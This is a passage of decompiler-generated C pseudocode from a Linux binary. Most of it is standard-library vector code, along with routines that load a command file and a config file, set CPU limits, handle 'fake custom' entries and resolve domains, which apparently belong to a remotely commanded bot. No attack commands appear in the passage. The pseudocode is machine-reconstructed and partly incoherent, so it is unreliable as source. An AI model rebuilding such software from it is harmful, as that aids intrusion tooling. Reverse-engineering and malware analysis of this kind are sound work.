std__fill_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(a2, (struct struct_6 *)v6, v3);
// branch -> 0x8052775
}
// 0x8052775
return 0;
}
uint32_t v19 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size(&a1->e0); // 0x805250b
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___max_size();
if (((int32_t)(-1 - v19 < v1) || v1 & -256) != 0) {
// 0x8052537
int32_t * v20;
int32_t * v21;
std____throw_length_error("vector::_M_fill_insert", (int32_t)v21, (int32_t)v20, (int32_t)NULL);
// branch -> 0x8052544
}
// 0x8052544
std__max_lt_unsigned_int_gt_((int32_t *)v19, a3);
int32_t * v22;
int32_t v23 = (int32_t)v22; // 0x8052557
uint32_t v24 = v19 + v23; // 0x805255c
int32_t * v25 = (int32_t *)v24; // 0x805276a_02
if (v24 < v19) {
// 0x805256a
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___max_size();
v25 = (int32_t *)-1;
// branch -> 0x805257b
}
// 0x805257b
int32_t * v26;
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(v26, (int32_t *)std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_allocate((int32_t *)a1, v25));
int32_t v27;
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v27, (int32_t *)a1);
g98 = (int32_t)v26;
g101 = (int32_t)a2;
int32_t * v28;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin_17(v28, (int32_t *)a1);
int32_t ** v29;
std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(v29, v28, (int32_t *)g101, (int32_t *)g98);
std__allocator_lt_char_gt_();
int32_t v30;
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v30, (int32_t *)a1);
g97 = v1;
std____uninitialized_fill_n_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_comma__char_gt_((int32_t *)v29, a3, a4);
std__allocator_lt_char_gt_();
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__eq_((int32_t *)v29, a3);
int32_t v31;
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v31, (int32_t *)a1);
g98 = (int32_t)v29;
int32_t * v32;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(v32, (int32_t)a1);
int32_t ** v33;
std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(v33, a2, v32, (int32_t *)g98);
std__allocator_lt_char_gt_();
int32_t v34;
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v34, (int32_t *)a1);
int32_t * v35 = a1->e1; // 0x80526d9
int32_t v36 = *(int32_t *)a1; // 0x80526df
std___Destroy_lt_char__ptr__comma__std__allocator_lt_char_gt___gt_((int32_t *)v36, v35, v34);
std__allocator_lt_char_gt_();
int32_t v37 = (int32_t)a1->e2 - *(int32_t *)a1; // 0x8052710
int32_t v38 = *(int32_t *)a1; // 0x8052719
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_deallocate((int32_t *)a1, (int32_t *)v38, (int32_t *)v37);
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(v26);
a1->e0 = v22;
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base((int32_t *)v33);
a1->e1 = v22;
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(v26);
int32_t result = (int32_t)a1; // 0x8052772
*(int32_t *)(result + 8) = (int32_t)v25 + v23;
// branch -> 0x8052775
// 0x8052775
return result;
}
// Address range: 0x805277c - 0x8052799
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___insert(struct struct_12 * a1, int32_t * a2, int32_t * a3, char * a4) {
// 0x805277c
return std__vector_lt_char_comma__std__allocator_lt_char_gt___gt____M_fill_insert(a1, a2, a3, a4);
}
// Address range: 0x805279a - 0x8052869
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___resize(int32_t ** a1, int32_t * a2, int32_t * a3) {
int32_t v1 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size(a1); // 0x80527a7
int32_t result; // 0x8052868_22
if (((int32_t)((int32_t *)v1 <= a2) || v1 & -256) == 1) {
// 0x8052823
g98 = (int32_t)a2 - std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size(a1);
int32_t * v2;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(v2, (int32_t)a1);
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___insert((struct struct_12 *)a1, v2, (int32_t *)g98, (char *)a3);
// branch -> 0x8052864
} else {
// 0x80527b9
int32_t * v3;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(v3, (int32_t)a1);
int32_t * v4;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin_17(v4, (int32_t *)a1);
int32_t * v5;
__gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_(v5, v4, a2);
int32_t ** v6;
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___erase(v6, (int32_t *)a1, v5, v3);
// branch -> 0x8052864
}
// 0x8052864
return result;
}
// Address range: 0x805286a - 0x805288b
void std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___resize_70(int32_t ** a1, int32_t * a2) {
// 0x805286a
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___resize(a1, a2, &g2->e0);
}
// Address range: 0x8052bde - 0x8052c4b
int32_t CCmdDoing__GetCmd(int32_t * a1, int32_t a2) {
int32_t v1;
CAutoLock_492((struct struct_68 *)&v1, a2 + 20, 1);
CLoopCmd_86((struct struct_14 *)a1, a2);
CAutoLock_493((struct struct_68 *)&v1);
return (int32_t)a1;
}
// Address range: 0x80530d4 - 0x80532ff
int32_t CCmdDoing__Initialize(int32_t * a1) {
int32_t v1 = g98; // 0x80530d7
int32_t v2 = (int32_t)a1; // 0x80530db
int32_t v3;
CAutoLock_492((struct struct_68 *)&v3, v2 + 20, 1);
int32_t v4;
CUtility__GetCurrentPathFile(&v4, "cmd.n");
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4);
int32_t v5 = std__string__c_str((int32_t *)(v2 + 16)); // 0x8053155
__new_fopen(v5, (int32_t)"rb");
struct _struct__IO_FILE * stream = (struct _struct__IO_FILE *)v5; // 0x805316e_0
if (v5 == 0) {
// 0x80532ec
CAutoLock_493((struct struct_68 *)&v3);
g98 = v1;
return &v3;
}
struct struct_18 * v6 = g2; // 0x805318d_3
if (fread(&v6->e0, 1, 4, stream) == 4) {
// 0x80531b1
int32_t * v7;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v7, &v6->e0, 4);
g98 = 0;
int32_t v8 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v6->e0); // 0x80531d2
int32_t items_read = fread((int32_t *)v8, 1, (int32_t)v6, stream); // 0x80531e1
__new_fclose(&stream->e0);
if (items_read == 0) {
// 0x8053207
int32_t v9;
CLoopCmd((struct struct_14 *)&v9);
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v7);
int32_t v10 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v6->e0); // 0x805323e
CLoopCmd__Absorb((struct struct_3 *)&v9, (struct struct_3 *)v10, g98);
int32_t v11;
if (v11 != 0) {
// 0x805325e
CLoopCmd__operator_eq_(a1, v9);
// branch -> 0x805328d
}
// 0x805328d
CLoopCmd_83(&v9);
// branch -> 0x80532b8
}
// 0x80532b8
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7);
// branch -> 0x80532ec
} else {
// 0x805319e
__new_fclose(&stream->e0);
// branch -> 0x80532ec
}
// 0x80532ec
CAutoLock_493((struct struct_68 *)&v3);
g98 = v1;
return &v3;
}
// Address range: 0x8053300 - 0x8053433
int32_t CConfigDoing___SetConf(char * a1) {
struct struct_6 * v1 = NULL; // bp-28
int32_t v2 = CConfig__Size((int32_t **)a1); // 0x805330e
int32_t * v3;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v1->e0, (int32_t *)v2, (int32_t)v3);
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size(&v1->e0);
struct struct_18 * v4 = g2; // 0x8053346_5
int32_t v5 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v4->e0); // 0x8053346
CConfig__Extract((struct struct_3 *)a1, (struct struct_3 *)v5, g98);
int32_t fd = open((char *)std__string__c_str((int32_t *)((int32_t)a1 + 92)), 66); // 0x805337c
if (fd > 0) {
// 0x8053392
flock(fd, LOCK_EX);
__libc_write();
g98 = v2;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v4->e0);
__libc_write();
flock(fd, LOCK_UN);
close(fd);
// branch -> 0x805341f
}
// 0x805341f
return std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
}
// Address range: 0x8053434 - 0x80534b1
int32_t CConfigDoing__SetDefaultIp(int32_t ** a1, int32_t * a2) {
int32_t v1 = (int32_t)a1; // 0x805343b
int32_t v2;
CAutoLock_492((struct struct_68 *)&v2, v1 + 96, 1);
if (a2 != NULL) {
// 0x8053459
CConfig__SetDefaultIp(v1, (int32_t)a2);
// branch -> 0x805346b
}
// 0x805346b
CConfigDoing___SetConf((char *)a1);
CAutoLock_493((struct struct_68 *)&v2);
return &v2;
}
// Address range: 0x8053582 - 0x8053799
int32_t CConfigDoing__Initialize(int32_t * a1) {
int32_t v1 = g98; // 0x8053585
int32_t v2 = (int32_t)a1; // 0x8053589
int32_t v3;
CAutoLock_492((struct struct_68 *)&v3, v2 + 96, 1);
int32_t v4;
CUtility__GetCurrentPathFile(&v4, "conf.n");
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4);
int32_t v5 = std__string__c_str((int32_t *)(v2 + 92)); // 0x8053603
__new_fopen(v5, (int32_t)"rb");
struct _struct__IO_FILE * stream = (struct _struct__IO_FILE *)v5; // 0x805361c_0
if (v5 == 0) {
// 0x805374a
if (CUtility__IsRoot() != 1) {
// 0x8053756
*(int32_t *)(v2 + 40) = 2;
// branch -> 0x8053785
}
// 0x8053785
CAutoLock_493((struct struct_68 *)&v3);
g98 = v1;
return &v3;
}
struct struct_18 * v6 = g2; // 0x805363b_3
if (fread(&v6->e0, 1, 4, stream) == 4) {
// 0x805365f
int32_t * v7;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v7, &v6->e0, 4);
g98 = 0;
int32_t v8 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v6->e0); // 0x8053680
int32_t items_read = fread((int32_t *)v8, 1, (int32_t)v6, stream); // 0x805368f
__new_fclose(&stream->e0);
bool v9 = true; // 0x80537441
if (items_read == 0) {
// 0x80536b9
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v7);
int32_t v10 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v6->e0); // 0x80536e1
CConfig__Absorb((struct struct_3 *)a1, (struct struct_3 *)v10, g98);
int32_t * v11 = (int32_t *)(v2 + 60); // 0x8053703_0
*v11 = *(int32_t *)(v2 + 48);
*(int32_t *)(v2 + 64) = *v11;
v9 = false;
// branch -> 0x8053735
}
// 0x8053735
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7);
if (!v9) {
// 0x805374a
if (CUtility__IsRoot() != 1) {
// 0x8053756
*(int32_t *)(v2 + 40) = 2;
// branch -> 0x8053785
}
}
} else {
// 0x805364c
__new_fclose(&stream->e0);
// branch -> 0x8053785
}
// 0x8053785
CAutoLock_493((struct struct_68 *)&v3);
g98 = v1;
return &v3;
}
// Address range: 0x8053944 - 0x8053953
int32_t CSerial_81(int32_t * a1) {
// 0x8053944
*a1 = 0x80ff2d0;
return (int32_t)a1;
}
// Address range: 0x8053954 - 0x8053999
int32_t CCpuLimit_82(struct struct_13 * a1) {
// 0x8053954
CSerial_81(&a1->e0);
a1->e0 = 0x80ff698;
a1->e1 = 0;
a1->e2 = 500;
a1->e3 = 50;
int32_t result = (int32_t)a1; // 0x8053991
*(int32_t *)(result + 16) = 1000;
return result;
}
// Address range: 0x805399a - 0x80539a3
int32_t CCpuLimit__Size(void) {
// 0x805399a
return 13;
}
// Address range: 0x80539a4 - 0x80539db
int32_t CConfig__InitSize(int32_t ** a1) {
// 0x80539a4
CCpuLimit__Size();
return 65 + std__string__size((int32_t *)((int32_t)a1 + 76));
}
// Address range: 0x80539dc - 0x8053a49
int32_t CLoopCmd(struct struct_14 * a1) {
// 0x80539dc
CSerial_81(&a1->e0);
a1->e0 = 0x80ff798;
a1->e1 = 1;
a1->e2 = 0;
return std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)((int32_t)a1 + 12));
}
// Address range: 0x8053a4a - 0x8053ac7
int32_t CLoopCmd_83(int32_t * a1) {
// 0x8053a4a
*a1 = 0x80ff798;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)((int32_t)a1 + 12));
CSerial(a1);
return 0;
}
// Address range: 0x8053ae6 - 0x8053aed
int32_t CSerial__operator_eq_(int32_t * a1) {
// 0x8053ae6
return (int32_t)a1;
}
// Address range: 0x8053b3c - 0x8053b4b
int32_t CSerial_84(int32_t * a1) {
// 0x8053b3c
*a1 = 0x80ff2d0;
return (int32_t)a1;
}
// Address range: 0x8053ba2 - 0x8053bf1
int32_t CLoopCmd__operator_eq_(int32_t * a1, int32_t a2) {
int32_t result = (int32_t)a1; // 0x8053bab
CSerial__operator_eq_(a1);
*(char *)(result + 4) = *(char *)(a2 + 4);
*(int32_t *)(result + 8) = *(int32_t *)(a2 + 8);
std__string__operator_eq__675();
return result;
}
// Address range: 0x8053bf2 - 0x8053c71
int32_t CLoopCmd_86(struct struct_14 * a1, int32_t a2) {
int32_t v1 = a2; // bp-24
CSerial_84(&a1->e0);
a1->e0 = 0x80ff798;
a1->e1 = *(char *)(a2 + 4);
a1->e2 = *(int32_t *)(a2 + 8);
v1 = a2 + 12;
int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636((int32_t *)((int32_t)a1 + 12), &v1); // 0x8053c3f
return result;
}
// Address range: 0x8053ca8 - 0x8053cdf
int32_t CConfig__Size(int32_t ** a1) {
int32_t v1 = g98; // 0x8053cab
g98 = CConfig__InitSize(a1);
int32_t v2 = g98; // 0x8053cd4
g98 = v1;
return v2 + 8 * std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___size((int32_t **)((int32_t)a1 + 80)) + 4;
}
// Address range: 0x8053d30 - 0x8053d53
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end_87(int32_t * a1, int32_t a2) {
// 0x8053d30
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a1, (int32_t *)(a2 + 4));
return (int32_t)a1;
}
// Address range: 0x8053d56 - 0x8053d6b
int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(int32_t * a1) {
// 0x8053d56
*a1 = *a1 + 8;
return (int32_t)a1;
}
// Address range: 0x8053d6c - 0x8053d87
int32_t std__allocator_lt_CFakeCustom_gt__88(int32_t a1, int32_t a2) {
// 0x8053d6c
__gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__37(a1);
return 0x8132c20;
}
// Address range: 0x8053d88 - 0x8053dbf
int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____Vector_impl_89(struct struct_3 * a1, int32_t a2) {
// 0x8053d88
std__allocator_lt_CFakeCustom_gt__88((int32_t)a1, a2);
a1->e0 = 0;
a1->e1 = 0;
int32_t result = (int32_t)a1; // 0x8053db6
*(int32_t *)(result + 8) = 0;
return result;
}
// Address range: 0x8053dc0 - 0x8053dd9
int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt__90(struct struct_6 * a1, int32_t a2) {
// 0x8053dc0
return std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____Vector_impl_89((struct struct_3 *)a1, a2);
}
// Address range: 0x8053dda - 0x8053df5
int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__91(int32_t a1) {
// 0x8053dda
__gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x8053df6 - 0x8053e0d
int32_t std__allocator_lt_CFakeCustom_gt__92(int32_t a1) {
// 0x8053df6
__gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__91(a1);
return 0x8132c20;
}
// Address range: 0x8053e0e - 0x8053e27
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt__93(struct struct_6 * a1, int32_t a2) {
// 0x8053e0e
return std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt__90(a1, a2);
}
// Address range: 0x8053e28 - 0x8053f77
int32_t CConfig_94(struct struct_17 * a1) {
struct struct_6 * v1 = NULL; // bp-9
CSerial_81(&a1->e0);
a1->e0 = 0x80ff6d8;
CCpuLimit_82((struct struct_13 *)((int32_t)a1 + 4));
a1->e6 = 0;
a1->e7 = 0;
a1->e8 = 0;
a1->e9 = 0;
a1->e9 = 1;
a1->e9 = 1;
a1->e10 = 0;
a1->e11 = 1;
a1->e12 = 0;
a1->e13 = 0;
a1->e14 = 0;
a1->e15 = 0;
a1->e16 = 0;
*(int16_t *)((int32_t)a1 + 68) = -1;
*(int16_t *)((int32_t)a1 + 70) = 1;
*(int32_t *)((int32_t)a1 + 72) = 0;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)((int32_t)a1 + 76));
std__allocator_lt_CFakeCustom_gt__92((int32_t)v1);
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt__93((struct struct_6 *)((int32_t)a1 + 80), (int32_t)v1);
return std__allocator_lt_CFakeCustom_gt_((int32_t *)v1);
}
// Address range: 0x8053f78 - 0x8053f7f
int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(int32_t * a1) {
// 0x8053f78
return (int32_t)a1;
}
// Address range: 0x8053f80 - 0x8053fb3
int32_t __gnu_cxx__operator_not__eq__lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a1); // 0x8053f8d
int32_t v2 = *(int32_t *)v1;
int32_t v3 = __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a2); // 0x8053f9d
int32_t v4 = *(int32_t *)v3; // 0x8053fa5
return (((int32_t)(v2 == v4) | v4 & -256) ^ 1) % 2;
}
// Address range: 0x8053fb4 - 0x8054003
int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__std__allocator_lt_CFakeCustom_gt___gt_(int32_t * a1) {
// 0x8053fb4
int32_t * v1;
if (__gnu_cxx__operator_not__eq__lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a1, v1) == 0) {
// 0x8054001
return 0;
}
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(a1);
__gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___destroy((int32_t *)NULL);
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(a1);
while (__gnu_cxx__operator_not__eq__lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a1, v1) != 0) {
// 0x8053fbc
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(a1);
__gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___destroy((int32_t *)NULL);
__gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(a1);
// continue -> 0x8053fbc
}
// 0x8054001
return 0;
}
// Address range: 0x8054004 - 0x80540b7
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(int32_t ** a1, int32_t * a2, int32_t a3) {
// 0x8054004
int32_t v1;
int32_t v2 = v1; // bp-11
std__allocator_lt_char_gt__598(v1);
int32_t result = (int32_t)a1; // 0x805401a
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt__66((struct struct_3 *)a1, a2, &v2);
std__allocator_lt_char_gt_();
int32_t v3;
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v3, (int32_t *)a1);
g95 = result;
int32_t v4 = *(int32_t *)a1; // 0x805407e
std____uninitialized_fill_n_a_lt_char__ptr__comma__unsigned_int_comma__char_comma__char_gt_((int32_t *)v4, a2, (char *)g2);
std__allocator_lt_char_gt_();
int32_t v5 = (int32_t)a2; // 0x80540a8
g95 = v5;
*(int32_t *)(result + 4) = *(int32_t *)a1 + v5;
return result;
}
// Address range: 0x80540b8 - 0x80540c1
int32_t __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___max_size(void) {
// 0x80540b8
return 0x1fffffff;
}
// Address range: 0x80540c2 - 0x8054201
int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, struct struct_6 * a2) {
__gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___max_size();
g95 = a2 > (struct struct_6 *)0x1fffffff != false;
if (a2 > (struct struct_6 *)0x1fffffff != false) {
// 0x80540e9
std____throw_bad_alloc();
// branch -> 0x80540ee
}
// 0x80540ee
int32_t v1;
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(v1);
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t v2 = 8 * (int32_t)a2; // 0x80540fe
int32_t * v3 = (int32_t *)v2; // 0x8054101_0
int32_t result;
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, v3) != 0) {
// 0x805411a
int32_t * v4;
result = _Znwj(v2, v2, (int32_t)v4);
// branch -> 0x80541fd
// 0x80541fd
return result;
}
int32_t v5 = __gnu_cxx____pool_base___M_get_binmap((int32_t *)0x8132c20, v3); // 0x8054140
int32_t v6 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id((int32_t *)0x8132c20); // 0x8054151
int32_t ** v7 = (int32_t **)__gnu_cxx____pool_lt_true_gt____M_get_bin((int32_t *)0x8132c20, (int32_t *)v5); // 0x8054165_4
int32_t * v8 = *v7; // 0x805417e
if (((int32_t)(v8 == NULL) || (int32_t)v8 & -256) == 1) {
// 0x80541e0
result = __gnu_cxx____pool_lt_true_gt____M_reserve_block((struct struct_88 *)0x8132c20, v2, v6);
// branch -> 0x80541fd
} else {
int32_t * v9 = *v7; // 0x8054197
*v7 = (int32_t *)*v9;
__gnu_cxx____pool_lt_true_gt____M_adjust_freelist((int32_t *)0x8132c20, *v7, v9);
int32_t v10 = __gnu_cxx____pool_base___M_get_align((int32_t *)0x8132c20) + (int32_t)v9; // 0x80541d8
result = v10;
// branch -> 0x80541fd
}
// 0x80541fd
return result;
}
// Address range: 0x8054202 - 0x805421d
int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_allocate(int32_t * a1, struct struct_6 * a2) {
// 0x8054202
return __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(a1, a2);
}
// Address range: 0x805445c - 0x805448f
int32_t std___Construct_lt_CFakeCustom_comma__CFakeCustom_gt_(int32_t * a1, struct struct_18 * a2) {
int32_t v1 = _ZnwjPv((int32_t *)8); // 0x805446a
struct struct_18 * v2 = (struct struct_18 *)v1; // 0x805446a_4
struct struct_18 * v3; // 0x805448f_11
if (v1 != 0) {
// 0x805447b
v2->e0 = a2->e0;
int32_t * v4 = a2->e1; // 0x8054485
v2->e1 = v4;
v3 = (struct struct_18 *)v4;
// branch -> 0x805448e
} else {
v3 = v2;
}
// 0x805448e
return (int32_t)v3;
}
// Address range: 0x8054cfe - 0x8054d5d
int32_t CDNSCache__GetFirstNumPos(char * a1) {
// 0x8054cfe
int32_t v1;
if (v1 == 0) {
// 0x8054d59
return 0;
}
char * v2 = (char *)v1; // bp+018
int32_t v3 = v1 & -256; // 0x8054d4c21
int32_t v4 = v3 | (int32_t)*v2; // 0x8054d4c22
g95 = v4;
if (v4 == 0) {
// 0x8054d59
return 0;
}
int32_t result = v1; // 0x8054d4926
int32_t v5 = 0;
while (true) {
// 0x8054d1c
int32_t v6; // 0x8054d44
int32_t v7; // 0x8054d49
char * v8; // 0x8054d4c_0
int32_t v9; // 0x8054d4c
int32_t v10; // 0x8054d4c
if (((int32_t)*v2 || v3) >= 48) {
// 0x8054d28
if (((int32_t)*v2 || v3) <= 57) {
// 0x8054d34
g95 = v5;
// branch -> 0x8054d59
// 0x8054d59
return result;
}
// 0x8054d41
v6 = v5 + 1;
v7 = v6 + v1;
v8 = (char *)v7;
v9 = v7 & -256;
v10 = v9 | (int32_t)*v8;
g95 = v10;
if (v10 == 0) {
// break -> 0x8054d59
break;
}
v3 = v9;
v2 = v8;
result = v7;
v5 = v6;
// continue -> 0x8054d1c
continue;
}
// 0x8054d41
v6 = v5 + 1;
v7 = v6 + v1;
v8 = (char *)v7;
v9 = v7 & -256;
v10 = v9 | (int32_t)*v8;
g95 = v10;
if (v10 == 0) {
// break -> 0x8054d59
break;
}
v3 = v9;
v2 = v8;
result = v7;
v5 = v6;
// continue -> 0x8054d1c
}
// 0x8054d59
return 0;
}
// Address range: 0x80550c6 - 0x80555d1
int32_t CDNSCache__GetIpsFromDomain(struct struct_3 * a1, struct struct_20 * a2, struct struct_3 * a3, int32_t a4, int32_t a5) {
struct struct_3 * v1 = NULL; // bp-80
struct struct_3 * v2 = NULL; // bp-65
struct struct_3 * v3 = NULL; // bp-44
int32_t v4 = g98; // 0x80550c9
std__allocator_lt_std__string_gt__42((int32_t)v2);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(v1, v2);
std__allocator_lt_std__string_gt_(&v2->e0);
if (a3 == NULL) {
// 0x8055107
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)v1);
// branch -> 0x80555b8
// 0x80555b8
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v1);
g98 = v4;
return (int32_t)a1;
}
// 0x805511f
int32_t v5;
int32_t v6;
if (CProtocolUtil__IsStrIPAddress(&a3->e0) == 0) {
// 0x80551cb
int32_t v7;
